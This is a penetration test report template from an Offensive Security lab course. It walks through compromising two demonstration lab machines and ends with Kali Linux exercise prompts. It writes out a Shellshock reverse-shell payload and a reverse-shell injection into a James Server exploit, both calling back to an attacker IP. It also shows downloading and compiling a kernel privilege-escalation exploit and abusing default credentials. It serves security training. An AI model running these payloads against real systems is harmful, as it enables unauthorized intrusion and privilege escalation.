OFFENSIVE SECURITY

Penetration Test Report for
Internal Lab

v.2.0

student@youremailaddress.com

OSID: XXXXXX



Copyright © 2022 Offensive Security Ltd. All rights reserved.

No part of this publication, in whole or in part, may be reproduced, copied, transferred or any other right reserved to its copyright owner, including photocopying and all other copying, any transfer or transmission using any network or other means of communication, any broadcast for distant learning, in any form or by any means such as any information storage, transmission or retrieval system, without prior written permission from Offensive Security.

Table of Contents

[Offensive Security Lab Penetration Test Report 3](#_Toc92471625)

[1. Objective 3](#_Toc92471626)

[2. Lab Network 3](#_Toc92471627)

[10.11.1.71 – Alpha 3](#_Toc92471628)

[Initial Access – Shellshock on Apache’s CGI 3](#_Toc92471629)

[Privilege Escalation – Unsecured Credentials 4](#_Toc92471630)

[Post-Exploitation 4](#_Toc92471631)

[10.11.1.72 – Beta 5](#_Toc92471632)

[Initial Access – Unsecured Credentials 5](#_Toc92471633)

[Lateral Movement – Escaping a Restricted Shell 5](#_Toc92471634)

[Privilege Escalation – Kernel Exploitation 6](#_Toc92471635)

[Post-Exploitation 6](#_Toc92471636)

[3. Exercises 7](#_Toc92471637)

[1. General Course Information 7](#_Toc92471638)

[2. Getting Comfortable with Kali Linux 7](#_Toc92471639)

[2.3.6 - Kali Documentation 7](#_Toc92471640)

[2.4.3.4 - Finding Files in Kali Linux 7](#_Toc92471641)

[2.5.3 - Managing Kali Linux Services 8](#_Toc92471642)

[2.6.6.1 - dpkg 8](#_Toc92471643)

#

# Offensive Security Lab Penetration Test Report

## 1. Objective

OS-XXXXXX was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. The overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, OS-XXXXXX was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations.  During the testing, OS-XXXXXX had administrative level access to multiple systems. All systems were successfully exploited and access granted.

# 2. Lab Network

Offensive Security Complete Guide machines (alpha and beta) may not be included in your lab report, they are for demonstration purposes only.

For more information regarding the Bonus Points requirements, please visit the following URL: <https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide>

## 10.11.1.71 – Alpha

### Initial Access – Shellshock on Apache’s CGI

After inspecting the HTTP headers of the landing page on port 80 we discovered that it is running under Apache/2.4.7 (Ubuntu) and PHP/5.5.9-1ubuntu4.4. We can confirm the presence of a CGI-bin and a possible Shellshock arbitrary code execution vulnerability ([EDB 34900](https://www.exploit-db.com/exploits/34900)) by running a directory brute-forcing attack or using a vulnerability scanner such as Nikto. We can interact with the script directly to receive a reverse shell on our attacker machine:

|  |
| --- |
| curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.119.121/443 0>&1" <http://10.11.1.71/cgi-bin/admin.cgi>  |

### Privilege Escalation – Unsecured Credentials

We have a shell as **www-data**, therefore, we verify the default Apache directory first for a potential presence of unsecured credentials in the configuration files available for this user. We locate the **config.php** file with the exposed MySQL database password ‘zaq1xsw2cde3’ in the /var/www/html/templates directory.

We can reuse this password on one of the user's accounts present on this machine - **gibson**. After changing our user with the su gibson command, we immediately discovered that this user takes part of the ‘sudo’ group, meaning that the escalation of privileges was possible using the su command once again:

|  |
| --- |
| su gibson |
| sudo su |

### Post-Exploitation



## 10.11.1.72 – Beta

### Initial Access – Unsecured Credentials

From the Initial Service Scan, we can observe the presence of several open ports related to the **James** **Server** - a mail server maintained by Apache. The most uncommon in this list is Apache's James Remote Administration on port 4555. By interacting with it using netcat we confirmed it uses the default credentials ‘root/root’. Utilizing this service, we reset the email address passwords for all the users present on this service.

|  |
| --- |
| nc 10.11.1.72 4555  |
| setpassword ryuu 123456 |

After resetting the password, we can log in to the POP3 server on port 111 to read the emails. One of the emails in **Ryuu**'s inbox contained the SSH credentials that allowed us the Access on this machine ‘ryuu/QUHqhUPRKXMo4m7k’.

|  |
| --- |
| telnet 10.11.1.72 110 |
| USER ryuu |
| PASS 123456 |
| LIST |
| RETR 1 |

### Lateral Movement – Escaping a Restricted Shell

After logging in as Ryuu we find ourselves in a restricted shell. Using the echo $SHELL command we confirm that it's rbash. Our Initial Service Enumeration showed that James Server (Version 2.3.2) is outdated and could be vulnerable to the Remote Command Execution ([EDB 35513](https://www.exploit-db.com/exploits/35513)) exploit, which is triggered upon a user's login. After making the necessary changes to the payload and setting up our listener, we fire the exploit from our Kali, then log in as Ryuu again using SSH to trigger the exploit and receive a reverse connection.

|  |
| --- |
| sed -c 's\_^payload = .\*\_payload = """/bin/bash -i >\& /dev/tcp/192.168.119.121/443 0>\&1"""\_' /tmp/beta.py |
| python 135513.py 10.11.1.72 |
| nc –lvnp 443 |

### Privilege Escalation – Kernel Exploitation

We quickly fix the path using the export command. Checking the OS and the kernel to find our they both are outdated. Based on our target being Ubuntu 11.01, 3.0.0-12-generic and 32bit, we chose the 'Mempodipper' Local Privilege Escalation exploit ([EDB 35161](https://www.exploit-db.com/exploits/35161)). **gcc** is already installed on our target, so we can download the exploit and obtain the root shell using the following commands:

|  |
| --- |
| wget 192.168.119.121:8080/35161.c |
| gcc 35161.c -o beta |
| python -c 'import pty;pty.spawn("/bin/bash")' |
| export PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" |
| ./beta |

### Post-Exploitation



# 3. Exercises

## 1. General Course Information

Reporting is **not required** for the exercises below, they are for demonstration purposes only. For more information regarding the reporting requirements, please visit the following link <https://help.offensive-security.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements>

## 2. Getting Comfortable with Kali Linux

### 2.3.6 - Kali Documentation



1. Change the kali user password to something secure.

2. Take some time to familiarize yourself with the menu.

3. Find your favorite tool and review its documentation.

### 2.4.3.4 - Finding Files in Kali Linux


1. Use **man** to look at the man page for one
of your preferred commands.



2. Use **man** to look for a keyword related to
 file compression.



3. Use **which** to locate the **pwd** command on
your Kali virtual machine.


4. Use **locate** to locate **wce32.exe** on your
Kali virtual machine.

5. Use **find** to identify any file (not directory) modified in the last day, NOT owned by the root user and execute **ls -l** on them.



### 2.5.3 - Managing Kali Linux Services

Reporting is **not required** for these exercises.

### 2.6.6.1 - dpkg

Reporting is **not required** for these exercises.